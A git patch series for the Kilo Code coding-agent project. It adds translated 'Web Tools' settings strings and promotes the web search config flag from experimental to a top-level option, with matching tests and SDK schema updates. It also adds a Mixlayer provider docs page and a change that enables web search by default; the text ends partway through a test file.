recherche se connectent directement à Exa ou Parallel.", + "settings.webTools.webSearch.enable": "Activer pour tous les fournisseurs", + "settings.webTools.browserAutomation": "Automatisation du navigateur", + "settings.webTools.webSearch.title": "Recherche web", + "settings.webTools.webSearch.description": + "Rendez la recherche web disponible pour les modèles de tous les fournisseurs. Les recherches se connectent directement à Exa ou Parallel.", "settings.checkpoints.title": "Points de contrôle", "settings.display.title": "Affichage", "settings.autocomplete.title": "Autocomplétion", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/it.ts b/packages/kilo-vscode/webview-ui/src/i18n/it.ts index 034276bb9c..b0c9a5f703 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/it.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/it.ts @@ -1023,7 +1023,14 @@ export const dict = { "settings.section.configuration": "Configurazione", "settings.agentBehaviour.title": "Comportamento agente", "settings.autoApprove.title": "Approvazione automatica", - "settings.browser.title": "Browser", + "settings.webTools.title": "Strumenti web", + "settings.webTools.description": + "Configura la ricerca web e l'automazione del browser. Le richieste di ricerca si connettono direttamente a Exa o Parallel.", + "settings.webTools.webSearch.enable": "Abilita per tutti i provider", + "settings.webTools.browserAutomation": "Automazione del browser", + "settings.webTools.webSearch.title": "Ricerca web", + "settings.webTools.webSearch.description": + "Rendi disponibile la ricerca web ai modelli di tutti i provider. Le ricerche si connettono direttamente a Exa o Parallel.", "settings.checkpoints.title": "Checkpoint", "settings.display.title": "Visualizzazione", "settings.autocomplete.title": "Autocompletamento", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/ja.ts b/packages/kilo-vscode/webview-ui/src/i18n/ja.ts index 2c6bd6c9e3..fd60365ca9 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/ja.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/ja.ts @@ -1257,7 +1257,14 @@ export const dict = { "settings.section.configuration": "設定", "settings.agentBehaviour.title": "エージェントの動作", "settings.autoApprove.title": "自動承認", - "settings.browser.title": "ブラウザ", + "settings.webTools.title": "ウェブツール", + "settings.webTools.description": + "ウェブ検索とブラウザ自動化を設定します。検索リクエストは Exa または Parallel に直接接続されます。", + "settings.webTools.webSearch.enable": "すべてのプロバイダーで有効化", + "settings.webTools.browserAutomation": "ブラウザ自動化", + "settings.webTools.webSearch.title": "ウェブ検索", + "settings.webTools.webSearch.description": + "すべてのプロバイダーのモデルでウェブ検索を利用できるようにします。検索は Exa または Parallel に直接接続されます。", "settings.checkpoints.title": "チェックポイント", "settings.display.title": "表示", "settings.autocomplete.title": "オートコンプリート", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/ko.ts b/packages/kilo-vscode/webview-ui/src/i18n/ko.ts index 990edeb5eb..9dd03144c2 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/ko.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/ko.ts @@ -1210,7 +1210,14 @@ export const dict = { "settings.section.configuration": "구성", "settings.agentBehaviour.title": "에이전트 동작", "settings.autoApprove.title": "자동 승인", - "settings.browser.title": "브라우저", + "settings.webTools.title": "웹 도구", + "settings.webTools.description": + "웹 검색 및 브라우저 자동화를 구성합니다. 검색 요청은 Exa 또는 Parallel에 직접 연결됩니다.", + "settings.webTools.webSearch.enable": "모든 제공업체에 사용", + "settings.webTools.browserAutomation": "브라우저 자동화", + "settings.webTools.webSearch.title": "웹 검색", + "settings.webTools.webSearch.description": + "모든 제공업체의 모델에서 웹 검색을 사용할 수 있도록 합니다. 검색은 Exa 또는 Parallel에 직접 연결됩니다.", "settings.checkpoints.title": "체크포인트", "settings.display.title": "디스플레이", "settings.autocomplete.title": "자동 완성", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/nl.ts b/packages/kilo-vscode/webview-ui/src/i18n/nl.ts index 75d20e4f17..8158160380 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/nl.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/nl.ts @@ -1218,7 +1218,14 @@ export const dict = { "settings.section.configuration": "Configuratie", "settings.agentBehaviour.title": "Agent Gedrag", "settings.autoApprove.title": "Automatisch Goedkeuren", - "settings.browser.title": "Browser", + "settings.webTools.title": "Webtools", + "settings.webTools.description": + "Configureer zoeken op internet en browserautomatisering. Zoekopdrachten maken rechtstreeks verbinding met Exa of Parallel.", + "settings.webTools.webSearch.enable": "Inschakelen voor alle providers", + "settings.webTools.browserAutomation": "Browserautomatisering", + "settings.webTools.webSearch.title": "Zoeken op internet", + "settings.webTools.webSearch.description": + "Maak zoeken op internet beschikbaar voor modellen van alle providers. Zoekopdrachten maken rechtstreeks verbinding met Exa of Parallel.", "settings.checkpoints.title": "Controlepunten", "settings.display.title": "Weergave", "settings.autocomplete.title": "Automatisch Aanvullen", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/no.ts b/packages/kilo-vscode/webview-ui/src/i18n/no.ts index 68c4af800b..5e8b9faf1f 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/no.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/no.ts @@ -1222,7 +1222,14 @@ export const dict = { "settings.section.configuration": "Konfigurasjon", "settings.agentBehaviour.title": "Agentoppførsel", "settings.autoApprove.title": "Automatisk godkjenning", - "settings.browser.title": "Nettleser", + "settings.webTools.title": "Nettverktøy", + "settings.webTools.description": + "Konfigurer nettsøk og nettleserautomatisering. Søk sendes direkte til Exa eller Parallel.", + "settings.webTools.webSearch.enable": "Aktiver for alle leverandører", + "settings.webTools.browserAutomation": "Nettleserautomatisering", + "settings.webTools.webSearch.title": "Nettsøk", + "settings.webTools.webSearch.description": + "Gjør nettsøk tilgjengelig for modeller fra alle leverandører. Søk sendes direkte til Exa eller Parallel.", "settings.checkpoints.title": "Kontrollpunkter", "settings.display.title": "Visning", "settings.autocomplete.title": "Autofullfør", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/pl.ts b/packages/kilo-vscode/webview-ui/src/i18n/pl.ts index f7238a444c..aa920ac5db 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/pl.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/pl.ts @@ -1221,7 +1221,14 @@ export const dict = { "settings.section.configuration": "Konfiguracja", "settings.agentBehaviour.title": "Zachowanie agenta", "settings.autoApprove.title": "Automatyczne zatwierdzanie", - "settings.browser.title": "Przeglądarka", + "settings.webTools.title": "Narzędzia internetowe", + "settings.webTools.description": + "Skonfiguruj wyszukiwanie w sieci i automatyzację przeglądarki. Żądania wyszukiwania łączą się bezpośrednio z Exa lub Parallel.", + "settings.webTools.webSearch.enable": "Włącz dla wszystkich dostawców", + "settings.webTools.browserAutomation": "Automatyzacja przeglądarki", + "settings.webTools.webSearch.title": "Wyszukiwanie w sieci", + "settings.webTools.webSearch.description": + "Udostępnij wyszukiwanie w sieci modelom wszystkich dostawców. Wyszukiwania łączą się bezpośrednio z Exa lub Parallel.", "settings.checkpoints.title": "Punkty kontrolne", "settings.display.title": "Wyświetlanie", "settings.autocomplete.title": "Autouzupełnianie", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/ru.ts b/packages/kilo-vscode/webview-ui/src/i18n/ru.ts index 47a24933c3..68027826b8 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/ru.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/ru.ts @@ -1268,7 +1268,14 @@ export const dict = { "settings.section.configuration": "Конфигурация", "settings.agentBehaviour.title": "Поведение агента", "settings.autoApprove.title": "Автоодобрение", - "settings.browser.title": "Браузер", + "settings.webTools.title": "Веб-инструменты", + "settings.webTools.description": + "Настройте веб-поиск и автоматизацию браузера. Поисковые запросы отправляются напрямую в Exa или Parallel.", + "settings.webTools.webSearch.enable": "Включить для всех провайдеров", + "settings.webTools.browserAutomation": "Автоматизация браузера", + "settings.webTools.webSearch.title": "Веб-поиск", + "settings.webTools.webSearch.description": + "Сделайте веб-поиск доступным для моделей всех провайдеров. Поисковые запросы отправляются напрямую в Exa или Parallel.", "settings.checkpoints.title": "Контрольные точки", "settings.display.title": "Отображение", "settings.autocomplete.title": "Автодополнение", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/th.ts b/packages/kilo-vscode/webview-ui/src/i18n/th.ts index cac0eea7a9..c029e495b6 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/th.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/th.ts @@ -1250,7 +1250,14 @@ export const dict = { "settings.section.configuration": "การกำหนดค่า", "settings.agentBehaviour.title": "พฤติกรรมของเอเจนต์", "settings.autoApprove.title": "อนุมัติอัตโนมัติ", - "settings.browser.title": "เบราว์เซอร์", + "settings.webTools.title": "เครื่องมือเว็บ", + "settings.webTools.description": + "กำหนดค่าการค้นหาเว็บและระบบอัตโนมัติของเบราว์เซอร์ คำขอค้นหาจะเชื่อมต่อโดยตรงกับ Exa หรือ Parallel", + "settings.webTools.webSearch.enable": "เปิดใช้สำหรับผู้ให้บริการทั้งหมด", + "settings.webTools.browserAutomation": "ระบบอัตโนมัติของเบราว์เซอร์", + "settings.webTools.webSearch.title": "ค้นหาเว็บ", + "settings.webTools.webSearch.description": + "ทำให้โมเดลจากผู้ให้บริการทั้งหมดใช้การค้นหาเว็บได้ การค้นหาจะเชื่อมต่อโดยตรงกับ Exa หรือ Parallel", "settings.checkpoints.title": "จุดตรวจสอบ", "settings.display.title": "การแสดงผล", "settings.autocomplete.title": "เติมข้อความอัตโนมัติ", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/tr.ts b/packages/kilo-vscode/webview-ui/src/i18n/tr.ts index e799d07141..a43c79880d 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/tr.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/tr.ts @@ -1215,7 +1215,14 @@ export const dict = { "settings.section.configuration": "Yapılandırma", "settings.agentBehaviour.title": "Ajan Davranışı", "settings.autoApprove.title": "Otomatik Onay", - "settings.browser.title": "Tarayıcı", + "settings.webTools.title": "Web Araçları", + "settings.webTools.description": + "Web aramasını ve tarayıcı otomasyonunu yapılandırın. Arama istekleri doğrudan Exa veya Parallel'e bağlanır.", + "settings.webTools.webSearch.enable": "Tüm Sağlayıcılar İçin Etkinleştir", + "settings.webTools.browserAutomation": "Tarayıcı Otomasyonu", + "settings.webTools.webSearch.title": "Web Araması", + "settings.webTools.webSearch.description": + "Web aramasını tüm sağlayıcıların modelleri için kullanılabilir hale getirin. Aramalar doğrudan Exa veya Parallel'e bağlanır.", "settings.checkpoints.title": "Kontrol Noktaları", "settings.display.title": "Görünüm", "settings.autocomplete.title": "Otomatik Tamamlama", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/uk.ts b/packages/kilo-vscode/webview-ui/src/i18n/uk.ts index dfc15c248d..75783bc9e4 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/uk.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/uk.ts @@ -1213,7 +1213,14 @@ export const dict = { "settings.section.configuration": "Конфігурація", "settings.agentBehaviour.title": "Поведінка агента", "settings.autoApprove.title": "Автоматичне схвалення", - "settings.browser.title": "Браузер", + "settings.webTools.title": "Вебінструменти", + "settings.webTools.description": + "Налаштуйте вебпошук і автоматизацію браузера. Пошукові запити надсилаються безпосередньо до Exa або Parallel.", + "settings.webTools.webSearch.enable": "Увімкнути для всіх постачальників", + "settings.webTools.browserAutomation": "Автоматизація браузера", + "settings.webTools.webSearch.title": "Вебпошук", + "settings.webTools.webSearch.description": + "Зробіть вебпошук доступним для моделей усіх постачальників. Пошукові запити надсилаються безпосередньо до Exa або Parallel.", "settings.checkpoints.title": "Контрольні точки", "settings.display.title": "Відображення", "settings.autocomplete.title": "Автодоповнення", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/zh.ts b/packages/kilo-vscode/webview-ui/src/i18n/zh.ts index 8432bbee90..9e1dd05729 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/zh.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/zh.ts @@ -1229,7 +1229,12 @@ export const dict = { "settings.section.configuration": "配置", "settings.agentBehaviour.title": "智能体行为", "settings.autoApprove.title": "自动审批", - "settings.browser.title": "浏览器", + "settings.webTools.title": "网络工具", + "settings.webTools.description": "配置网页搜索和浏览器自动化。搜索请求会直接连接到 Exa 或 Parallel。", + "settings.webTools.webSearch.enable": "为所有提供商启用", + "settings.webTools.browserAutomation": "浏览器自动化", + "settings.webTools.webSearch.title": "网页搜索", + "settings.webTools.webSearch.description": "让所有提供商的模型都可使用网页搜索。搜索会直接连接到 Exa 或 Parallel。", "settings.checkpoints.title": "检查点", "settings.display.title": "显示", "settings.autocomplete.title": "自动补全", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/zht.ts b/packages/kilo-vscode/webview-ui/src/i18n/zht.ts index b69bb7054c..aed2a97179 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/zht.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/zht.ts @@ -1190,7 +1190,12 @@ export const dict = { "settings.section.configuration": "設定", "settings.agentBehaviour.title": "Agent 行為", "settings.autoApprove.title": "自動核准", - "settings.browser.title": "瀏覽器", + "settings.webTools.title": "網路工具", + "settings.webTools.description": "設定網頁搜尋和瀏覽器自動化。搜尋請求會直接連線至 Exa 或 Parallel。", + "settings.webTools.webSearch.enable": "為所有供應商啟用", + "settings.webTools.browserAutomation": "瀏覽器自動化", + "settings.webTools.webSearch.title": "網頁搜尋", + "settings.webTools.webSearch.description": "讓所有供應商的模型都可使用網頁搜尋。搜尋會直接連線至 Exa 或 Parallel。", "settings.checkpoints.title": "檢查點", "settings.display.title": "顯示", "settings.autocomplete.title": "自動完成", diff --git a/packages/kilo-vscode/webview-ui/src/types/messages/config.ts b/packages/kilo-vscode/webview-ui/src/types/messages/config.ts index 0dc2d05dc7..89dcc0af83 100644 --- a/packages/kilo-vscode/webview-ui/src/types/messages/config.ts +++ b/packages/kilo-vscode/webview-ui/src/types/messages/config.ts @@ -39,7 +39,6 @@ export interface WatcherConfig { export interface ExperimentalConfig { batch_tool?: boolean - websearch?: boolean codebase_search?: boolean image_generation?: boolean image_generation_model?: string @@ -155,6 +154,7 @@ export interface Config { compaction?: CompactionConfig commit_message?: CommitMessageConfig tools?: Record + web_search?: boolean auto_collapse_reasoning?: boolean experimental?: ExperimentalConfig sandbox?: SandboxConfig diff --git a/packages/opencode/src/kilocode/config/overlay.ts b/packages/opencode/src/kilocode/config/overlay.ts index b0cd42f88c..ec806bf053 100644 --- a/packages/opencode/src/kilocode/config/overlay.ts +++ b/packages/opencode/src/kilocode/config/overlay.ts @@ -88,7 +88,7 @@ export namespace KilocodeConfigOverlay { ["disabled_providers"], ["watcher", "ignore"], ["instructions"], - ["experimental", "websearch"], + ["web_search"], ["indexing", "enabled"], ["indexing", "provider"], ["indexing", "model"], diff --git a/packages/opencode/src/tool/registry.ts b/packages/opencode/src/tool/registry.ts index f8eb66469a..4df567dd6b 100644 --- a/packages/opencode/src/tool/registry.ts +++ b/packages/opencode/src/tool/registry.ts @@ -377,7 +377,7 @@ export const layer: Layer.Layer< const filtered = (yield* all()).filter((tool) => { if (!KiloToolRegistry.available(tool, input.agent)) return false // kilocode_change if (tool.id === WebSearchTool.id) { - if (cfg.experimental?.websearch === true) return true // kilocode_change + if (cfg.web_search === true) return true // kilocode_change return webSearchEnabled(input.providerID, { exa: flags.enableExa, parallel: flags.enableParallel }) } diff --git a/packages/opencode/test/kilocode/config/config.test.ts b/packages/opencode/test/kilocode/config/config.test.ts index 50529c043f..51902e1514 100644 --- a/packages/opencode/test/kilocode/config/config.test.ts +++ b/packages/opencode/test/kilocode/config/config.test.ts @@ -151,13 +151,15 @@ describe("global config updates", () => { }) }) -describe("kilocode indexing config", () => { +describe("kilocode web search config", () => { test("accepts the websearch availability setting", () => { - const config = Schema.decodeUnknownSync(Config.Info)({ experimental: { websearch: true } }) + const config = Schema.decodeUnknownSync(Config.Info)({ web_search: true }) - expect(config.experimental?.websearch).toBe(true) + expect(config.web_search).toBe(true) }) +}) +describe("kilocode indexing config", () => { test("ignores retired semantic indexing flags in existing configs", async () => { await using tmp = await tmpdir({ git: true }) await writeConfig(tmp.path, { diff --git a/packages/opencode/test/kilocode/server/config-overlay.test.ts b/packages/opencode/test/kilocode/server/config-overlay.test.ts index e8a55f9ac7..a21deb1e5d 100644 --- a/packages/opencode/test/kilocode/server/config-overlay.test.ts +++ b/packages/opencode/test/kilocode/server/config-overlay.test.ts @@ -204,17 +204,17 @@ describe("config overlay routes", () => { test.serial("resolves and reverts project websearch overrides", async () => { await using global = await tmpdir() await using project = await tmpdir() - await setGlobal(global.path, { experimental: { websearch: true } }) + await setGlobal(global.path, { web_search: true }) await json( await req(project.path, "/config/overlay", { method: "PATCH", headers: { "content-type": "application/json" }, - body: JSON.stringify({ scope: "project", set: { experimental: { websearch: false } } }), + body: JSON.stringify({ scope: "project", set: { web_search: false } }), }), ) const overridden = await json(await req(project.path, "/config/overlay?scope=project")) - expect(overridden.fields["experimental.websearch"]).toMatchObject({ + expect(overridden.fields.web_search).toMatchObject({ source: "project", inherited: false, overridden: true, @@ -225,11 +225,11 @@ describe("config overlay routes", () => { await req(project.path, "/config/overlay", { method: "PATCH", headers: { "content-type": "application/json" }, - body: JSON.stringify({ scope: "project", unset: [["experimental", "websearch"]] }), + body: JSON.stringify({ scope: "project", unset: [["web_search"]] }), }), ) const inherited = await json(await req(project.path, "/config/overlay?scope=project")) - expect(inherited.fields["experimental.websearch"]).toMatchObject({ + expect(inherited.fields.web_search).toMatchObject({ source: "global", inherited: true, overridden: false, diff --git a/packages/opencode/test/tool/registry.test.ts b/packages/opencode/test/tool/registry.test.ts index 393bea6f25..97e4e6c51c 100644 --- a/packages/opencode/test/tool/registry.test.ts +++ b/packages/opencode/test/tool/registry.test.ts @@ -52,12 +52,13 @@ const configLayer = TestConfig.layer({ type RegistryLayerOptions = { flags?: Partial plugin?: Layer.Layer + config?: Parameters[0] // kilocode_change } const registryLayer = (opts: RegistryLayerOptions = {}) => ToolRegistry.layer .pipe( - Layer.provide(configLayer), + Layer.provide(opts.config ? TestConfig.layer(opts.config) : configLayer), // kilocode_change Layer.provide(opts.plugin ?? Plugin.defaultLayer), Layer.provide(Question.defaultLayer), Layer.provide(Todo.defaultLayer), @@ -118,6 +119,21 @@ const withBrokenPlugin = testEffect( Layer.mergeAll(registryLayer({ plugin: brokenPluginLayer }), node, Agent.defaultLayer), ) // kilocode_change start +const websearch = testEffect( + Layer.mergeAll( + registryLayer({ + config: { + get: () => + Effect.succeed({ + web_search: true, + provider: { openai: { options: { apiKey: "test-openai-key" } } }, + }), + }, + }), + node, + Agent.defaultLayer, + ), +) const sandboxed = testEffect( Layer.mergeAll(registryLayer({ flags: { experimentalLspTool: true } }), node, Agent.defaultLayer), ) @@ -139,6 +155,38 @@ function sandboxProfile(): Profile { describe("tool.registry", () => { // kilocode_change start + it.instance("hides websearch for a third-party provider by default", () => + Effect.gen(function* () { + const registry = yield* ToolRegistry.Service + const agent = yield* Agent.Service + const build = yield* agent.get("build") + if (!build) return yield* Effect.die(new Error("build agent not found")) + const tools = yield* registry.tools({ + providerID: ProviderV2.ID.openai, + modelID: ModelV2.ID.make("test"), + agent: build, + }) + + expect(tools.map((tool) => tool.id)).not.toContain("websearch") + }), + ) + + websearch.instance("shows websearch for a configured third-party provider when enabled", () => + Effect.gen(function* () { + const registry = yield* ToolRegistry.Service + const agent = yield* Agent.Service + const build = yield* agent.get("build") + if (!build) return yield* Effect.die(new Error("build agent not found")) + const tools = yield* registry.tools({ + providerID: ProviderV2.ID.openai, + modelID: ModelV2.ID.make("test"), + agent: build, + }) + + expect(tools.map((tool) => tool.id)).toContain("websearch") + }), + ) + sandboxed.instance("preserves built-in network classification through production tool definition processing", () => Effect.gen(function* () { const registry = yield* ToolRegistry.Service diff --git a/packages/sdk/js/src/v2/gen/types.gen.ts b/packages/sdk/js/src/v2/gen/types.gen.ts index 0bd15820a7..5f9963def0 100644 --- a/packages/sdk/js/src/v2/gen/types.gen.ts +++ b/packages/sdk/js/src/v2/gen/types.gen.ts @@ -1673,6 +1673,7 @@ export type Config = { tools?: { [key: string]: boolean } + web_search?: boolean attachment?: AttachmentConfig enterprise?: { url?: string @@ -1699,7 +1700,6 @@ export type Config = { disable_paste_summary?: boolean batch_tool?: boolean codebase_search?: boolean - websearch?: boolean image_generation?: boolean image_generation_model?: string agent_requirements?: boolean diff --git a/packages/sdk/openapi.json b/packages/sdk/openapi.json index 7ea6d2387d..1451c3a6b3 100644 --- a/packages/sdk/openapi.json +++ b/packages/sdk/openapi.json @@ -26905,6 +26905,9 @@ "type": "boolean" } }, + "web_search": { + "type": "boolean" + }, "attachment": { "$ref": "#/components/schemas/AttachmentConfig" }, @@ -27000,9 +27003,6 @@ "codebase_search": { "type": "boolean" }, - "websearch": { - "type": "boolean" - }, "image_generation": { "type": "boolean" }, From 25dcfb6cff23abe840f3a728ebe48deef6af9355 Mon Sep 17 00:00:00 2001 From: Kelly Sun Date: Thu, 23 Jul 2026 14:28:32 -0400 Subject: [PATCH 003/100] docs: add Mixlayer provider page Adds an AI-providers docs page for Mixlayer (OpenAI-compatible inference for open models like GLM and Qwen) and a nav entry, documenting the OpenAI-Compatible setup for both VS Code and the CLI. --- packages/kilo-docs/lib/nav/ai-providers.ts | 1 + .../kilo-docs/pages/ai-providers/mixlayer.md | 97 +++++++++++++++++++ 2 files changed, 98 insertions(+) create mode 100644 packages/kilo-docs/pages/ai-providers/mixlayer.md diff --git a/packages/kilo-docs/lib/nav/ai-providers.ts b/packages/kilo-docs/lib/nav/ai-providers.ts index f604826c7c..1a2dfe9ae3 100644 --- a/packages/kilo-docs/lib/nav/ai-providers.ts +++ b/packages/kilo-docs/lib/nav/ai-providers.ts @@ -46,6 +46,7 @@ export const AiProvidersNav: NavSection[] = [ { href: "/ai-providers/groq", children: "Groq" }, { href: "/ai-providers/cerebras", children: "Cerebras" }, { href: "/ai-providers/fireworks", children: "Fireworks AI" }, + { href: "/ai-providers/mixlayer", children: "Mixlayer" }, ], }, { diff --git a/packages/kilo-docs/pages/ai-providers/mixlayer.md b/packages/kilo-docs/pages/ai-providers/mixlayer.md new file mode 100644 index 0000000000..ac0221315a --- /dev/null +++ b/packages/kilo-docs/pages/ai-providers/mixlayer.md @@ -0,0 +1,97 @@ +--- +title: "Using Mixlayer with Kilo Code | Fast Open-Model Inference" +description: "Run open models like GLM and Qwen on Mixlayer's OpenAI-compatible API in Kilo Code. Setup guide for VS Code and the CLI." +--- + +# Using Mixlayer With Kilo Code + +Mixlayer is an inference platform for open models such as GLM and Qwen, with a serving stack built from scratch by core contributors to Candle. It exposes an OpenAI-compatible API, so you can use it in Kilo Code through the **OpenAI Compatible** provider. + +**Website:** [https://mixlayer.com/](https://mixlayer.com/) + +## Getting an API Key + +1. **Sign Up/Sign In:** Go to [Mixlayer](https://mixlayer.com/) and create an account or sign in. +2. **Navigate to API Keys:** Open the [Mixlayer console](https://console.mixlayer.com/) and go to the API Keys page. +3. **Create a Key:** Click **New Key**, give it a descriptive name (e.g., "Kilo Code"), and copy it. You will not be able to view it again. + +## Configuration in Kilo Code + +Mixlayer's API is OpenAI-compatible, with the base URL `https://models.mixlayer.ai/v1`. Configure it through Kilo Code's **OpenAI Compatible** provider. + +{% tabs %} +{% tab label="VSCode" %} + +1. Open **Settings** (gear icon) and go to the **Providers** tab. +2. Scroll to the bottom and click **Custom provider**. +3. Fill in the dialog: + - **Provider ID** — `mixlayer` + - **Display name** — `Mixlayer` + - **Provider API** — **OpenAI Compatible** + - **Base URL** — `https://models.mixlayer.ai/v1` + - **API key** — your Mixlayer API key +4. Kilo Code auto-fetches the available models from Mixlayer's `/v1/models` endpoint, so you can pick a model directly from the list. Click **Submit** to save. + +{% /tab %} +{% tab label="CLI" %} + +Set the API key as an environment variable and define an OpenAI-compatible provider in your `kilo.json` config file (`~/.config/kilo/kilo.json` or `./kilo.json`): + +**Environment variable:** + +```bash +export MIXLAYER_API_KEY="your-api-key" +``` + +**Config file:** + +```jsonc +{ + "provider": { + "mixlayer": { + "npm": "@ai-sdk/openai-compatible", + "env": ["MIXLAYER_API_KEY"], + "options": { + "baseURL": "https://models.mixlayer.ai/v1", + }, + "models": { + "z-ai/glm-5.2": { + "name": "GLM-5.2", + "limit": { "context": 262144, "output": 262144 }, + }, + "qwen/qwen3.5-397b-a17b": { + "name": "Qwen3.5 397B A17B", + "limit": { "context": 131072, "output": 131072 }, + }, + }, + }, + }, +} +``` + +Then set your default model using the `provider-id/model-id` format: + +```jsonc +{ + "model": "mixlayer/z-ai/glm-5.2", +} +``` + +{% /tab %} +{% /tabs %} + +## Models + +Mixlayer serves open models including: + +- `z-ai/glm-5.2` — 256K context +- `qwen/qwen3.5-397b-a17b` and the Qwen 3.5 / 3.6 line (vision-capable) +- `moonshotai/kimi-k2.7-code` + +Tool calling and reasoning are supported across the model line. See the [Mixlayer docs](https://docs.mixlayer.com) for the full, current model list and supported parameters. + +## Tips and Notes + +- **Model list:** Kilo Code auto-detects available models from Mixlayer's `/v1/models` endpoint, so the picker stays current with your account. +- **Pricing:** See the [Mixlayer console](https://console.mixlayer.com/) for current per-model pricing. +- **Reasoning:** Qwen models support a thinking mode; reasoning tokens count against the output budget, so allow enough `limit.output` when reasoning is enabled. From 34e787e5ac039b0d070ed186ee5979aba38c8576 Mon Sep 17 00:00:00 2001 From: Josh Lambert Date: Mon, 27 Jul 2026 11:48:09 -0400 Subject: [PATCH 004/100] fix: enable web search by default --- packages/core/src/v1/config/config.ts | 3 +- .../src/routes/config/ToolsRoute.tsx | 2 +- .../src/components/settings/BrowserTab.tsx | 2 +- packages/opencode/src/tool/registry.ts | 2 +- .../test/kilocode/config/config.test.ts | 6 +-- packages/opencode/test/tool/registry.test.ts | 50 ++++++++++++------- 6 files changed, 40 insertions(+), 25 deletions(-) diff --git a/packages/core/src/v1/config/config.ts b/packages/core/src/v1/config/config.ts index bd9baab123..0ef9d1ffc7 100644 --- a/packages/core/src/v1/config/config.ts +++ b/packages/core/src/v1/config/config.ts @@ -227,7 +227,8 @@ export const Info = Schema.Struct({ permission: Schema.optional(ConfigPermissionV1.Info), tools: Schema.optional(Schema.Record(Schema.String, Schema.Boolean)), web_search: Schema.optional(Schema.Boolean).annotate({ - description: "Make web search available to models from all providers", + description: + "Make web search available to models from all providers (default: true). Set to false to limit it to managed providers.", }), // kilocode_change attachment: Schema.optional(ConfigAttachmentV1.Info).annotate({ description: "Attachment processing configuration, including image size limits and resizing behavior", diff --git a/packages/kilo-console/src/routes/config/ToolsRoute.tsx b/packages/kilo-console/src/routes/config/ToolsRoute.tsx index 9dcb20b6e0..fae54f6b8c 100644 --- a/packages/kilo-console/src/routes/config/ToolsRoute.tsx +++ b/packages/kilo-console/src/routes/config/ToolsRoute.tsx @@ -12,7 +12,7 @@ export function ToolsRoute() { const [search, setSearch] = createSignal("") const snap = () => ctx.data() const websearch = createMemo(() => snap()?.overlay.fields.web_search) - const searchEnabled = createMemo(() => websearch()?.value === true) + const searchEnabled = createMemo(() => websearch()?.value !== false) const rows = createMemo(() => { const data = snap() if (!data) return [] diff --git a/packages/kilo-vscode/webview-ui/src/components/settings/BrowserTab.tsx b/packages/kilo-vscode/webview-ui/src/components/settings/BrowserTab.tsx index fabc7858b8..ca870fef21 100644 --- a/packages/kilo-vscode/webview-ui/src/components/settings/BrowserTab.tsx +++ b/packages/kilo-vscode/webview-ui/src/components/settings/BrowserTab.tsx @@ -86,7 +86,7 @@ const BrowserTab: Component = () => { description={t("settings.webTools.webSearch.description")} last > - + {t("settings.webTools.webSearch.title")} diff --git a/packages/opencode/src/tool/registry.ts b/packages/opencode/src/tool/registry.ts index 4df567dd6b..4f7c275cfa 100644 --- a/packages/opencode/src/tool/registry.ts +++ b/packages/opencode/src/tool/registry.ts @@ -377,7 +377,7 @@ export const layer: Layer.Layer< const filtered = (yield* all()).filter((tool) => { if (!KiloToolRegistry.available(tool, input.agent)) return false // kilocode_change if (tool.id === WebSearchTool.id) { - if (cfg.web_search === true) return true // kilocode_change + if (cfg.web_search !== false) return true // kilocode_change return webSearchEnabled(input.providerID, { exa: flags.enableExa, parallel: flags.enableParallel }) } diff --git a/packages/opencode/test/kilocode/config/config.test.ts b/packages/opencode/test/kilocode/config/config.test.ts index 51902e1514..3938950306 100644 --- a/packages/opencode/test/kilocode/config/config.test.ts +++ b/packages/opencode/test/kilocode/config/config.test.ts @@ -152,10 +152,10 @@ describe("global config updates", () => { }) describe("kilocode web search config", () => { - test("accepts the websearch availability setting", () => { - const config = Schema.decodeUnknownSync(Config.Info)({ web_search: true }) + test("accepts explicitly limiting web search to managed providers", () => { + const config = Schema.decodeUnknownSync(Config.Info)({ web_search: false }) - expect(config.web_search).toBe(true) + expect(config.web_search).toBe(false) }) }) diff --git a/packages/opencode/test/tool/registry.test.ts b/packages/opencode/test/tool/registry.test.ts index 97e4e6c51c..2420506b9d 100644 --- a/packages/opencode/test/tool/registry.test.ts +++ b/packages/opencode/test/tool/registry.test.ts @@ -125,7 +125,21 @@ const websearch = testEffect( config: { get: () => Effect.succeed({ - web_search: true, + provider: { openai: { options: { apiKey: "test-openai-key" } } }, + }), + }, + }), + node, + Agent.defaultLayer, + ), +) +const websearchOff = testEffect( + Layer.mergeAll( + registryLayer({ + config: { + get: () => + Effect.succeed({ + web_search: false, provider: { openai: { options: { apiKey: "test-openai-key" } } }, }), }, @@ -155,23 +169,7 @@ function sandboxProfile(): Profile { describe("tool.registry", () => { // kilocode_change start - it.instance("hides websearch for a third-party provider by default", () => - Effect.gen(function* () { - const registry = yield* ToolRegistry.Service - const agent = yield* 